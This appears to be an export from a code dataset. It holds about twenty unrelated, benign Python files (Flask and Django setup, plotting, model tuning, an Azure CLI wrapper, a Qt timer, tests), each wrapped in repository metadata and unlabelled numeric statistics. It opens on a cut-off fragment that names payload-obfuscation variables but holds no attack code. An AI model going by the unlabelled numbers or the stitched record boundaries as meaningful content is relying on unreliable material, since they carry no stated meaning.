PAY_VAR1 = payload_var[0], PAY_VAR2 = payload_var[1], PAY_VAR3 = payload_var[2], PAY_VAR4 = payload_var[3], PAY_POLL = payload_pollution, PAY1 = payload_polluted[:piece1], PAY2 = payload_polluted[piece1:piece2], PAY3 = payload_polluted[piece2:piece3], PAY4 = payload_polluted[piece3:], FINAL_FUNC = final_func_name)

34.409091

137

0.674373

597

4,542

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0.016495

0.02921

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0.052234

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0.030344

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4,542

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138

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0.205447

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null

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0.069767

null

0

null

0

null

0

1

0

1

0

2

9051a1c1088095b37931ffbb5f87a6219186207b

456

py

Python

iirsBenchmark/exceptions.py

gAldeia/iirsBenchmark

2211b4755405eb32178a09f1a01143d53dc6516d

[ "BSD-3-Clause" ]

null

iirsBenchmark/exceptions.py

gAldeia/iirsBenchmark

2211b4755405eb32178a09f1a01143d53dc6516d

[ "BSD-3-Clause" ]

null

iirsBenchmark/exceptions.py

gAldeia/iirsBenchmark

2211b4755405eb32178a09f1a01143d53dc6516d

[ "BSD-3-Clause" ]

null

# Author: Guilherme Aldeia # Contact: guilherme.aldeia@ufabc.edu.br # Version: 1.0.0 # Last modified: 08-20-2021 by Guilherme Aldeia """ Simple exception that is raised by explainers when they don't support local or global explanations, or when they are not model agnostic. This should be catched and handled in the experiments. """ class NotApplicableException(Exception): def __init__(self, message=""): self.message = message

32.571429

76

0.730263

63

456

5.222222

0.793651

0.136778

0

0.02965

0.186404

456

14

77

32.571429

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null

0

null

0

1

0

1

0

2

905ba6022a4c26013aa2a89c33571a5f24d93f3a

1,640

py

Python

src/tools/create_graphs_log.py

KatiaJDL/CenterPoly

42811d9f5f85d9fef91a03275fe6ad113ccb163c

[ "MIT" ]

null

src/tools/create_graphs_log.py

KatiaJDL/CenterPoly

42811d9f5f85d9fef91a03275fe6ad113ccb163c

[ "MIT" ]

null

src/tools/create_graphs_log.py

KatiaJDL/CenterPoly

42811d9f5f85d9fef91a03275fe6ad113ccb163c

[ "MIT" ]

null

import matplotlib.pyplot as plt def main(): with open('log.txt') as f: lines = f.readlines() glob_loss = [] hm_l = [] off_l = [] poly_l = [] depth_l = [] glob_loss_val = [] hm_l_val = [] off_l_val = [] poly_l_val = [] depth_l_val = [] for epoch in lines: m = epoch.split("|") if m[0].split(':')[1] == ' AP': glob_loss_val.append(float(m[1][5:-1])) hm_l_val.append(float(m[2][5:-1])) off_l_val.append(float(m[3][6:-1])) poly_l_val.append(float(m[4][7:-1])) depth_l_val.append(float(m[5][8:-1])) else: nb_epoch = int(m[0].split(":")[-1]) glob_loss.append(float(m[1][5:-1])) hm_l.append(float(m[2][5:-1])) off_l.append(float(m[3][6:-1])) poly_l.append(float(m[4][7:-1])) depth_l.append(float(m[5][8:-1])) if len(m) > 8 : glob_loss_val.append(float(m[7][5:-1])) hm_l_val.append(float(m[8][5:-1])) off_l_val.append(float(m[9][6:-1])) poly_l_val.append(float(m[10][7:-1])) depth_l_val.append(float(m[11][8:-1])) plt.plot(glob_loss, label = "glob_loss") plt.plot(hm_l, label = "hm_l") plt.plot(off_l, label = "off_l") plt.plot(poly_l, label = "poly_l") plt.plot(depth_l, label = "depth_l") plt.legend() plt.savefig("loss_train.png") plt.show() plt.plot(glob_loss_val, label = "glob_loss_val") plt.plot(hm_l_val, label = "hm_l_val") plt.plot(off_l_val, label = "off_l_val") plt.plot(poly_l_val, label = "poly_l_val") plt.plot(depth_l_val, label = "depth_l_val") plt.legend() plt.savefig("loss_valid.png") plt.show() if __name__ == '__main__': main()

24.848485

50

0.585366

298

1,640

2.949664

0.187919

0.091013

0.204778

0.170648

0.414107

0.361775

0.302617

0

0.039634

0.2

1,640

65

51

25.230769

0.630335

0

0.075472

0

0.079878

0

1

0.018868

false

0

0.018868

0

0.037736

0

null

0

1

0

null

0

2

9070d5bf65f2cf491385a39c1e6e52e356fd0952

573

py

Python

py/test.py

BEARUBC/grasp-kernel

ea2c9b698a2c457e798eff909941dc6e7c852bb2

[ "Apache-2.0" ]

1

2021-05-31T22:05:10.000Z

py/test.py

BEARUBC/grasp-kernel-wrapper

ea2c9b698a2c457e798eff909941dc6e7c852bb2

[ "Apache-2.0" ]

null

py/test.py

BEARUBC/grasp-kernel-wrapper

ea2c9b698a2c457e798eff909941dc6e7c852bb2

[ "Apache-2.0" ]

1

2021-05-31T18:54:55.000Z

class TestClass: def __init__(self, list, name): self.list = list self.name = name def func1(): print("func1 print something") def func2(): print("func2 print something") integer = 8 return integer def func3(): print("func3 print something") s = "func3" return s def func4(): print("func4 print something") listIntegers = [1,2,3,4,5] return listIntegers def func5(): print("func5 print something") listStrings = ["a","b","c","d","e"] return listStrings print("Hello World") # test = TestClass()

18.483871

39

0.612565

72

573

4.819444

0.458333

0.201729

0

0.039352

0.246073

573

30

40

19.1

0.763889

0.031414

0

0.227848

0

1

0.26087

false

0

0.478261

0.26087

0

null

1

0

null

0

1

0

2

90818fc965fccbf18cf4f96b17fab97a599e1aaa

824

py

Python

parser/fase2/team16/main.py

webdev188/tytus

847071edb17b218f51bb969d335a8ec093d13f94

[ "MIT" ]

null

parser/fase2/team16/main.py

webdev188/tytus

847071edb17b218f51bb969d335a8ec093d13f94

[ "MIT" ]

null

parser/fase2/team16/main.py

webdev188/tytus

847071edb17b218f51bb969d335a8ec093d13f94

[ "MIT" ]

4

2020-12-19T17:12:13.000Z

2021-01-07T20:29:53.000Z

# This is a sample Python script. # Press Mayús+F10 to execute it or replace it with your code. # Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings. import Gramatica as g import interprete as Inter import ts as TS import jsonMode as JSON_INGE import jsonMode as json import Instruccion as INST import Interfaz.Interfaz as Gui import os import glob from os import path from os import remove def print_hi(name): # Use a breakpoint in the code line below to debug your script. print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint. if __name__ == '__main__': Gui.principal cadena= "goto" # for n in cadena: # in print("ELIMINANDO...") files = glob.glob('data/json/*') for ele in files: os.remove(ele)

18.311111

98

0.694175

127

824

4.425197

0.566929

0.042705

0.05694

0.071174

0

0.004754

0.234223

824

44

99

18.727273

0.885895

0.381068

0

0.091633

0

1

0.05

false

0

0.55

0

0.6

0.15

0

null

0

null

0

1

0

1

0

2

908bf756c481540c4c44d86144640fa2370be038

1,563

py

Python

adsrefpipe/refparsers/handler.py

golnazads/ADSReferencePipeline

802f26a9e085e6ff5de43f3b5642b2d9fad52cbb

[ "MIT" ]

null

adsrefpipe/refparsers/handler.py

golnazads/ADSReferencePipeline

802f26a9e085e6ff5de43f3b5642b2d9fad52cbb

[ "MIT" ]

null

adsrefpipe/refparsers/handler.py

golnazads/ADSReferencePipeline

802f26a9e085e6ff5de43f3b5642b2d9fad52cbb

[ "MIT" ]

null

# -*- coding: utf-8 -*- from adsrefpipe.refparsers.CrossRefXML import CrossReftoREFs from adsrefpipe.refparsers.ElsevierXML import ELSEVIERtoREFs from adsrefpipe.refparsers.JATSxml import JATStoREFs from adsrefpipe.refparsers.IOPxml import IOPtoREFs from adsrefpipe.refparsers.SpringerXML import SPRINGERtoREFs from adsrefpipe.refparsers.APSxml import APStoREFs from adsrefpipe.refparsers.NatureXML import NATUREtoREFs from adsrefpipe.refparsers.AIPxml import AIPtoREFs from adsrefpipe.refparsers.WileyXML import WILEYtoREFs from adsrefpipe.refparsers.NLM3xml import NLMtoREFs from adsrefpipe.refparsers.AGUxml import AGUtoREFs from adsrefpipe.refparsers.arXivTXT import ARXIVtoREFs def verify(parser_name): """ :param parser_name: parser name from db :return: """ # based on parser name return the parser class, if it is an xml if parser_name == 'CrossRef': return CrossReftoREFs if parser_name == 'ELSEVIER': return ELSEVIERtoREFs if parser_name == 'JATS': return JATStoREFs if parser_name == 'IOP': return IOPtoREFs if parser_name == 'SPRINGER': return SPRINGERtoREFs if parser_name == 'APS': return APStoREFs if parser_name == 'NATURE': return NATUREtoREFs if parser_name == 'AIP': return AIPtoREFs if parser_name == 'WILEY': return WILEYtoREFs if parser_name == 'NLM': return NLMtoREFs if parser_name == 'AGU': return AGUtoREFs if parser_name == 'arXiv': return ARXIVtoREFs return None

32.5625

67

0.723608

174

1,563

6.41954

0.344828

0.143241

0.257833

0

0.001614

0.207294

1,563

47

68

33.255319

0.899919

0.085093

0

0.041903

0

1

0.026316

false

0

0.315789

0

0.684211

0

null

0

1

0

null

0

1

0

2

909dc9969f5cc018e88da564d8e3efacb5bc1be6

406

py

Python

migrate_db.py

qxf2/interview-scheduler

ef17350cec70c66c7136671789ed188231a5fcba

[ "MIT" ]

2

2021-05-06T17:02:21.000Z

2021-05-19T19:41:21.000Z

migrate_db.py

qxf2/interview-scheduler

ef17350cec70c66c7136671789ed188231a5fcba

[ "MIT" ]

9

2019-08-01T18:49:35.000Z

2021-04-01T12:52:35.000Z

migrate_db.py

qxf2/interview-scheduler

ef17350cec70c66c7136671789ed188231a5fcba

[ "MIT" ]

18

2019-07-23T16:26:17.000Z

2022-01-21T10:33:41.000Z

from flask import Flask from flask_sqlalchemy import SQLAlchemy from qxf2_scheduler import models from qxf2_scheduler import db from qxf2_scheduler.__init__ import app from flask_script import Manager from flask_migrate import Migrate,MigrateCommand migrate=Migrate(app, db,render_as_batch=True) manager=Manager(app) manager.add_command('db',MigrateCommand) if __name__ == "__main__": manager.run()

25.375

48

0.830049

57

406

5.54386

0.421053

0.113924

0.161392

0.14557

0

0.008287

0.108374

406

16

49

25.375

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0

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0

0.583333

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0.583333

0

null

0

null

0

1

0

1

0

2

90b42e2cf853da75296b6d0c2d2e8e3942e4a7bb

1,066

py

Python

tests/test_list_.py

aefalcon/iterable_collections

8e3b4ea84083a100413f23af30ea27dfd4b838ff

[ "MIT" ]

4

2018-06-05T14:07:56.000Z

2021-04-17T12:09:23.000Z

tests/test_list_.py

aefalcon/iterable_collections

8e3b4ea84083a100413f23af30ea27dfd4b838ff

[ "MIT" ]

1

2018-07-10T19:53:54.000Z

2018-07-10T19:58:38.000Z

tests/test_list_.py

aefalcon/iterable_collections

8e3b4ea84083a100413f23af30ea27dfd4b838ff

[ "MIT" ]

2

2020-01-29T10:51:11.000Z

2021-11-11T21:37:24.000Z

import unittest from iterable_collections import collect class TestList_(unittest.TestCase): def test_list(self): c = collect(list(range(10))).list_() self.assertEqual(c.iterable, list(list(range(10)))) def test_set(self): c = collect(set(range(10))).list_() self.assertEqual(c.iterable, list(set(range(10)))) def test_tuple(self): c = collect(tuple(range(10))).list_() self.assertEqual(c.iterable, list(tuple(range(10)))) def test_iterator(self): c = collect(iter(range(10))).list_() self.assertEqual(c.iterable, list(iter(range(10)))) def test_dict(self): c = collect({'a': 1, 'b': 2}).list_() self.assertEqual(c.iterable, list({'a': 1, 'b': 2})) def test_dict_items(self): c = collect({'a': 1, 'b': 2}.items()).list_() self.assertEqual(c.iterable, list({'a': 1, 'b': 2}.items())) def test_enumerate(self): c = collect(list(range(10))).enumerate().list_() self.assertEqual(c.iterable, list(enumerate(range(10))))

29.611111

68

0.605066

145

1,066

4.331034

0.193103

0.111465

0.133758

0.22293

0.542994

0.52707

0.414013

0.363057

0.11465

0

0.033097

0.206379

1,066

35

69

30.457143

0.70922

0

0.007512

0

0.291667

1

0.291667

false

0

0.083333

0

0.416667

0

null

0

1

0

null

0

1

0

2

90b636cded4c580440a67538e3ed1bce323607f4

2,186

py

Python

pyaz/synapse/sql/pool/classification/recommendation/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

null

pyaz/synapse/sql/pool/classification/recommendation/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

null

pyaz/synapse/sql/pool/classification/recommendation/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

1

2022-02-03T09:12:01.000Z

''' Manage sensitivity classification recommendations. ''' from ...... pyaz_utils import _call_az def list(name, resource_group, workspace_name, filter=None, included_disabled=None, skip_token=None): ''' List the recommended sensitivity classifications of a given SQL pool. Required Parameters: - name -- The SQL pool name. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` - workspace_name -- The workspace name. Optional Parameters: - filter -- An OData filter expression that filters elements in the collection. - included_disabled -- Indicates whether the result should include disabled recommendations - skip_token -- An OData query option to indicate how many elements to skip in the collection. ''' return _call_az("az synapse sql pool classification recommendation list", locals()) def enable(column, name, resource_group, schema, table, workspace_name): ''' Enable sensitivity recommendations for a given column(recommendations are enabled by default on all columns). Required Parameters: - column -- The name of column. - name -- The SQL pool name. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` - schema -- The name of schema. - table -- The name of table. - workspace_name -- The workspace name. ''' return _call_az("az synapse sql pool classification recommendation enable", locals()) def disable(column, name, resource_group, schema, table, workspace_name): ''' Disable sensitivity recommendations for a given column(recommendations are enabled by default on all columns). Required Parameters: - column -- The name of column. - name -- The SQL pool name. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` - schema -- The name of schema. - table -- The name of table. - workspace_name -- The workspace name. ''' return _call_az("az synapse sql pool classification recommendation disable", locals())

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null

0

null

0

1

0

1

0

2

90b9ca60618e207e4f11df9555b71806b45d69af

1,538

py

Python

src/classifier/classifier_tuning/tune_sklearn.py

krangelie/bias-in-german-nlg

9fbaf50fde7d41d64692ae90c41beae61bc78d44

[ "MIT" ]

14

2021-08-24T12:36:37.000Z

2022-03-18T12:14:36.000Z

src/classifier/classifier_tuning/tune_sklearn.py

krangelie/bias-in-german-nlg

9fbaf50fde7d41d64692ae90c41beae61bc78d44

[ "MIT" ]

null

src/classifier/classifier_tuning/tune_sklearn.py

krangelie/bias-in-german-nlg

9fbaf50fde7d41d64692ae90c41beae61bc78d44

[ "MIT" ]

1

2021-10-21T20:22:55.000Z

from sklearn.ensemble import RandomForestClassifier import xgboost def suggest_xgb(model_params, trial, xgb=None): n_estimators = trial.suggest_int( model_params.n_estimators.name, model_params.n_estimators.lower, model_params.n_estimators.upper, model_params.n_estimators.step, ) lr = trial.suggest_float( model_params.learning_rate.name, model_params.learning_rate.lower, model_params.learning_rate.upper, log=True, ) max_depth = trial.suggest_int( model_params.max_depth.name, model_params.max_depth.lower, model_params.max_depth.upper, model_params.max_depth.step, ) classifier = xgboost.XGBClassifier( n_estimators=n_estimators, learning_rate=lr, max_depth=max_depth, random_state=42, use_label_encoder=False, tree_method="gpu_hist", gpu_id=0, ) return classifier def suggest_rf(model_params, trial): n_estimators = trial.suggest_int( model_params.n_estimators.name, model_params.n_estimators.lower, model_params.n_estimators.upper, model_params.n_estimators.step, ) max_depth = trial.suggest_int( model_params.max_depth.name, model_params.max_depth.lower, model_params.max_depth.upper, model_params.max_depth.step, ) classifier = RandomForestClassifier( n_estimators=n_estimators, max_depth=max_depth, random_state=42 ) return classifier

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0

null

1

0

1

0

null

0

2

90c0801975d3d3c99714cb7e0cfc32ffb8ce7205

251

py

Python

diagnosticApp/admin.py

LASI-UFPI/diagnostic-imaging

7afd732dd76fe92bf6a2eba48e69fa4102a978cc

[ "MIT" ]

null

diagnosticApp/admin.py

LASI-UFPI/diagnostic-imaging

7afd732dd76fe92bf6a2eba48e69fa4102a978cc

[ "MIT" ]

10

2021-04-04T19:07:41.000Z

2022-03-12T00:54:50.000Z

diagnosticApp/admin.py

LASI-UFPI/diagnostic-imaging

7afd732dd76fe92bf6a2eba48e69fa4102a978cc

[ "MIT" ]

null

from django.contrib import admin from .models import Image @admin.register(Image) class ImageAdmin(admin.ModelAdmin): list_display = ('image', 'predict_covid', 'predict_no_findings', 'predict_pneumonia', 'created_at', 'updated_at', 'activated_at')

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null

0

1

0

null

0

1

0

2

90c4143d466cb79c3fc483f709341546a5611433

615

py

Python

py/py_0668_square_root_smooth_numbers.py

lcsm29/project-euler

fab794ece5aa7a11fc7c2177f26250f40a5b1447

[ "MIT" ]

null

py/py_0668_square_root_smooth_numbers.py

lcsm29/project-euler

fab794ece5aa7a11fc7c2177f26250f40a5b1447

[ "MIT" ]

null

py/py_0668_square_root_smooth_numbers.py

lcsm29/project-euler

fab794ece5aa7a11fc7c2177f26250f40a5b1447

[ "MIT" ]

null

# Solution of; # Project Euler Problem 668: Square root smooth Numbers # https://projecteuler.net/problem=668 # # A positive integer is called square root smooth if all of its prime factors # are strictly less than its square root. Including the number $1$, there are # $29$ square root smooth numbers not exceeding $100$. How many square root # smooth numbers are there not exceeding $10\,000\,000\,000$? # # by lcsm29 http://github.com/lcsm29/project-euler import timed def dummy(n): pass if __name__ == '__main__': n = 1000 i = 10000 prob_id = 668 timed.caller(dummy, n, i, prob_id)

26.73913

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0.705691

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0.150943

0.162736

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615

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0

null

0

1

0

null

0

1

0

2

90e8e47f66221f7bc0ae337311c1f500db447d05

669

py

Python

tests_project/homepage/views/__init__.py

wynnw/django-mako-plus

8a33eb3911fc84ddddd590152f475fd78c6a501f

[ "Apache-2.0" ]

79

2015-01-21T23:29:16.000Z

2021-08-22T03:38:20.000Z

tests_project/homepage/views/__init__.py

wynnw/django-mako-plus

8a33eb3911fc84ddddd590152f475fd78c6a501f

[ "Apache-2.0" ]

34

2015-01-08T03:11:07.000Z

2021-09-07T15:04:43.000Z

tests_project/homepage/views/__init__.py

wynnw/django-mako-plus

8a33eb3911fc84ddddd590152f475fd78c6a501f

[ "Apache-2.0" ]

23

2015-01-08T03:11:26.000Z

2021-05-22T11:12:24.000Z

from django_mako_plus.converter import ParameterConverter from django_mako_plus import view_function from django.http import HttpRequest class RecordingConverter(ParameterConverter): '''Converter that also records the converted variables for inspecting during testing''' def convert_parameters(self, *args, **kwargs): # request is usually args[0], but it can be args[1] when using functools.partial in the decorator request = args[1] if len(args) >= 2 and isinstance(args[1], HttpRequest) else args[0] args, kwargs = super().convert_parameters(*args, **kwargs) request.dmp.converted_params = kwargs return args, kwargs

47.785714

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0.741405

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669

5.609195

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0.081967

0.057377

0.07377

0

0.010889

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669

13

106

51.461538

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0.111111

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0

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0.666667

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null

0

null

0

1

0

1

0

2

90ebe6d271ee6c6cf02d97187537a0fc19ca7af6

2,404

py

Python

example_project/views.py

AKuederle/flask-template-master

d6d8d2747eccc6629658caf4295106db1b3326a1

[ "MIT" ]

2

2018-04-06T19:40:22.000Z

2019-10-09T18:58:03.000Z

example_project/views.py

AKuederle/flask-template-master

d6d8d2747eccc6629658caf4295106db1b3326a1

[ "MIT" ]

null

example_project/views.py

AKuederle/flask-template-master

d6d8d2747eccc6629658caf4295106db1b3326a1

[ "MIT" ]

null

""" All your views aka. your template endpoints go here. There are two ways to create a view. 1. Create a new Subclass inheriting from one of the flask_template_master views 2. Use the view-factory function flask_template_master.views.create_template_endpoint Each view requires an 1 (and 2 optional) things: 1. An environment: The environment provides the templates and handles all options of how templates are rendered 2. (optional) An global provider: A global provider provides variables that are accessible in all templates of the endpoint 3. (optional) An compiler: The compiler gets the rendered template and can handle a postprocessing step and controls the data that is returned. This can e.g. be used to run a Latex compilation. """ import jinja2 from flask_template_master.compiler import LatexCompiler from flask_template_master.views import BaseTemplateView, create_template_endpoint from flask_template_master import Api from flask_template_master.global_provider import DictGlobalProvider from flask_template_master.environments import LATEX_TEMPLATE_CONFIG api = Api() # create an instance of an flask-restfull API. Always required! class TestView(BaseTemplateView): """This is an example of a view created as a subclass. This is a simple view using a Dict loader to provide all template strings inline. It does not use a compile step and simply returns the rendered template string on POST. It passes one value as a global variable. This can be seen in template b. The global variable will be overwritten, if a variable with the same name is passed by the POST request """ # The environment needs to be a jinja environment with a loader ENVIRONMENT = jinja2.Environment(loader=jinja2.DictLoader({'a': '{{ test }}', 'b': '{{ test }} {{ global }}'})) GLOBAL_PROVIDER = DictGlobalProvider({'global': 'This is a global value'}) # This registers '/class_test/' for the overview and '/class_test/<template_name> for the individual templates TestView.add_as_resource(api, '/class_test/') # This is an example on how to use the factory function # Setting up the jinja2 enviroemnt using a file loader with LaTex config environment = jinja2.Environment(loader=jinja2.FileSystemLoader('./templates'), **LATEX_TEMPLATE_CONFIG) compiler = LatexCompiler() create_template_endpoint(api, '/factory_test/', environment=environment, compiler=compiler)

50.083333

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0.784526

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2,404

5.219718

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47

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0

null

0

null

0

1

0

1

0

2

90f09eaebc2c156f0e6cd05610e75beced48fbbf

141

py

Python

theonionbox/stamp.py

ralphwetzel/theonionbox

9812fce48153955e179755ea7a58413c3bee182f

[ "MIT" ]

120

2015-12-30T09:41:56.000Z

2022-03-23T02:30:05.000Z

theonionbox/stamp.py

nwithan8/theonionbox

9e51fe0b4d07fc89a8a133fdeceb5f97d5d58713

[ "MIT" ]

57

2015-12-29T21:55:14.000Z

2022-01-07T09:48:51.000Z

theonionbox/stamp.py

nwithan8/theonionbox

9e51fe0b4d07fc89a8a133fdeceb5f97d5d58713

[ "MIT" ]

17

2018-02-05T08:57:46.000Z

2022-02-28T16:44:41.000Z

__title__ = 'The Onion Box' __description__ = 'Dashboard to monitor Tor node operations.' __version__ = '20.2' __stamp__ = '20200119|095654'

28.2

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0.758865

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141

5.352941

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0

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0.134752

141

4

62

35.25

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0.517731

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1

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0

1

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null

0

1

0

null

0

2

90f65c76bdf901f4200cf464ae0ba5ac4a47f91a

655

py

Python

control/webapp/__init__.py

doismellburning/control-panel

516feeaac3a0f4c704105204b6efe75a94ba42c3

[ "MIT" ]

1

2020-07-22T21:47:15.000Z

control/webapp/__init__.py

doismellburning/control-panel

516feeaac3a0f4c704105204b6efe75a94ba42c3

[ "MIT" ]

5

2020-08-02T09:59:25.000Z

2021-11-03T08:02:39.000Z

control/webapp/__init__.py

doismellburning/control-panel

516feeaac3a0f4c704105204b6efe75a94ba42c3

[ "MIT" ]

2

2020-08-02T09:02:25.000Z

2020-12-20T17:45:30.000Z

import logging from flask import Flask from . import utils, home, member, society, signup, jobs, admin from .flask_seasurf import SeaSurf from flask_talisman import Talisman app = Flask(__name__, template_folder="../templates", static_folder="../static") app.config['CSRF_CHECK_REFERER'] = False csrf = SeaSurf(app) Talisman(app) logging.basicConfig(level=logging.DEBUG if app.debug else logging.INFO) utils.setup_app(app) app.register_blueprint(home.bp) app.register_blueprint(member.bp) app.register_blueprint(society.bp) app.register_blueprint(signup.bp) app.register_blueprint(jobs.bp) app.register_blueprint(admin.bp)

23.392857

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0.22541

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655

27

72

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0.315789

0

null

0

1

0

null

0

2

29036ba6db6b8f13ddf689e6933342fcab6c293b

830

py

Python

src/utils/utils.py

GuiYuDaniel/CGC_of_Sn

c54e4e65a5ecff09d3e4c5fed76bf30b3804fefa

[ "MIT" ]

null

src/utils/utils.py

GuiYuDaniel/CGC_of_Sn

c54e4e65a5ecff09d3e4c5fed76bf30b3804fefa

[ "MIT" ]

2

2022-01-19T04:36:29.000Z

2022-01-27T09:15:38.000Z

src/utils/utils.py

GuiYuDaniel/CGC_of_Sn

c54e4e65a5ecff09d3e4c5fed76bf30b3804fefa

[ "MIT" ]

null

# -*- coding:utf8 -*- """ 一些其他工具当需要细化或者函数太多时，应该把其中一些独立出去 """ import uuid from enum import Enum, unique from utils.log import get_logger logger = get_logger(__name__) @unique class PipeTaskStatus(Enum): # 还不够需要写状态机，先用这个凑活一下 """ name is Status value is Next """ # TODO 多线程时应该增加STOPPING, WAITING等状态 # TODO 为了避免Enum键值对别名的规则，引入一个None占位，None无意义，不是一个状态！ PREPARATION = ["DOING", "FAIL"] # preparation是准备阶段，计算、保存一切运行的必要信息，未准备结束的ppt是不支持restart的 DOING = ["SUCCESS", "FAIL", "RESTARTING"] SUCCESS = [] FAIL = ["RESTARTING"] RESTARTING = ["DOING", "FAIL", None] # restarting是重启的准备阶段，准备好后直接进入doing # STOPPING = [] # WAITING = [] def new_id(is_log=True): _id = str(uuid.uuid4()) if is_log: logger.debug("new an id={} with uuid4 method".format(_id)) return _id

21.282051

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0

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38

93

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null

0

null

0

1

0

1

0

2

292c8b618a05d121aa88ca4e594589616cd5c14c

254

py

Python

core/layouts/pixel_list.py

TheGentlemanOctopus/oracle

2857b9c1886548d9aefcb480ce6e77169ee9e7ef

[ "MIT" ]

null

core/layouts/pixel_list.py

TheGentlemanOctopus/oracle

2857b9c1886548d9aefcb480ce6e77169ee9e7ef

[ "MIT" ]

6

2018-05-13T14:44:20.000Z

2018-07-10T10:12:08.000Z

core/layouts/pixel_list.py

TheGentlemanOctopus/oracle

2857b9c1886548d9aefcb480ce6e77169ee9e7ef

[ "MIT" ]

null

from layout import Layout class PixelList(Layout): """ A simple generic layout, just a list of pixels """ def __init__(self, pixels): """ pixels is a list of pixel objects """ self.pixels = pixels

21.166667

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0.562992

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254

4.633333

0.6

0.071942

0.100719

0

0.350394

254

11

55

23.090909

0.842424

0.314961

0

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0.25

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0

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0.75

0

null

0

null

0

1

0

1

0

2

29392d7c293c0b529284bdff29493ae4994d22ba

206

py

Python

example.py

n0emis/pycodimd

cec7135babe63f0c40fdb9eac7ede50e145cd512

[ "MIT" ]

1

2020-04-20T22:06:49.000Z

example.py

n0emis/pycodimd

cec7135babe63f0c40fdb9eac7ede50e145cd512

[ "MIT" ]

null

example.py

n0emis/pycodimd

cec7135babe63f0c40fdb9eac7ede50e145cd512

[ "MIT" ]

null

from pycodimd import CodiMD cmd = CodiMD('https://md.noemis.me') #cmd.login('user@example.com','CorrectHorseBatteryStaple') cmd.load_cookies() print(cmd.history()[-1]['text']) # Print Name of latest Note

29.428571

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0.73301

29

206

5.172414

0.827586

0

0.005319

0.087379

206

6

62

34.333333

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0.402913

0

0.198347

0

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0.25

1

0

null

0

1

0

null

0

2

2946dbe0237daa4f111129ff8959628dbb456b22

2,640

py

Python

enaml/qt/qt_timer.py

xtuzy/enaml

a1b5c0df71c665b6ef7f61d21260db92d77d9a46

[ "BSD-3-Clause-Clear" ]

1,080

2015-01-04T14:29:34.000Z

2022-03-29T05:44:51.000Z

enaml/qt/qt_timer.py

xtuzy/enaml

a1b5c0df71c665b6ef7f61d21260db92d77d9a46

[ "BSD-3-Clause-Clear" ]

308

2015-01-05T22:44:13.000Z

2022-03-30T21:19:18.000Z

enaml/qt/qt_timer.py

xtuzy/enaml

a1b5c0df71c665b6ef7f61d21260db92d77d9a46

[ "BSD-3-Clause-Clear" ]

123

2015-01-25T16:33:48.000Z

2022-02-25T19:57:10.000Z

#------------------------------------------------------------------------------ # Copyright (c) 2013-2017, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. #------------------------------------------------------------------------------ from atom.api import Typed from enaml.widgets.timer import ProxyTimer from .QtCore import QTimer from .qt_toolkit_object import QtToolkitObject class QtTimer(QtToolkitObject, ProxyTimer): """ A Qt implementation of an Enaml ProxyTimer. """ #: A reference to the widget created by the proxy. widget = Typed(QTimer) #-------------------------------------------------------------------------- # Initialization #-------------------------------------------------------------------------- def create_widget(self): """ Create the underlying timer object. """ self.widget = QTimer() def init_widget(self): """ Initialize the widget. """ super(QtTimer, self).init_widget() d = self.declaration self.set_interval(d.interval) self.set_single_shot(d.single_shot) self.widget.timeout.connect(self.on_timeout) def destroy(self): """ A reimplemented destructor. This stops the timer before invoking the superclass destructor. """ self.widget.stop() super(QtTimer, self).destroy() #-------------------------------------------------------------------------- # Signal Handlers #-------------------------------------------------------------------------- def on_timeout(self): """ Handle the timeout signal for the timer. """ d = self.declaration if d is not None: d.timeout() #-------------------------------------------------------------------------- # ProxyTimer API #-------------------------------------------------------------------------- def set_interval(self, interval): """ Set the interval on the timer. """ self.widget.setInterval(interval) def set_single_shot(self, single_shot): """ Set the single shot flag on the timer. """ self.widget.setSingleShot(single_shot) def start(self): """ Start or restart the timer. """ self.widget.start() def stop(self): """ Stop the timer. """ self.widget.stop() def is_running(self): """ Get whether or not the timer is running. """ return self.widget.isActive()

27.789474

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5.113924

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94

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0

null

0

null

0

1

0

1

0

2

294c561a401bd6bdb0db578e7797d3a5175a9a58

318

py

Python

wildlifecompliance/components/applications/cron.py

preranaandure/wildlifecompliance

bc19575f7bccf7e19adadbbaf5d3eda1d1aee4b5

[ "Apache-2.0" ]

1

2020-12-07T17:12:40.000Z

wildlifecompliance/components/applications/cron.py

preranaandure/wildlifecompliance

bc19575f7bccf7e19adadbbaf5d3eda1d1aee4b5

[ "Apache-2.0" ]

14

2020-01-08T08:08:26.000Z

2021-03-19T22:59:46.000Z

wildlifecompliance/components/applications/cron.py

preranaandure/wildlifecompliance

bc19575f7bccf7e19adadbbaf5d3eda1d1aee4b5

[ "Apache-2.0" ]

15

2020-01-08T08:02:28.000Z

2021-11-03T06:48:32.000Z

from django_cron import CronJobBase, Schedule class VerifyLicenceSpeciesJob(CronJobBase): """ Verifies LicenceSpecies against TSC server. """ RUN_AT_TIMES = ['00:00'] schedule = Schedule(run_at_times=RUN_AT_TIMES) code = 'applications.verify_licence_species' def do(self): pass

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0.207547

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22.714286

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0.13522

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0.142857

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null

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null

0

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0

1

0

2

295015d1c787b58239c947be3f7d6287049d840f

6,274

py

Python

scobra/analysis/compare_elements.py

nihalzp/scobra

de1faa73fb4d186d9567bfa8e174b3fd6f1833ef

[ "MIT" ]

7

2016-03-16T09:03:41.000Z

2019-09-20T05:55:02.000Z

scobra/analysis/compare_elements.py

nihalzp/scobra

de1faa73fb4d186d9567bfa8e174b3fd6f1833ef

[ "MIT" ]

11

2019-10-03T15:04:58.000Z

2020-05-11T17:27:10.000Z

scobra/analysis/compare_elements.py

nihalzp/scobra

de1faa73fb4d186d9567bfa8e174b3fd6f1833ef

[ "MIT" ]

6

2016-03-16T09:04:54.000Z

2021-07-24T15:03:41.000Z

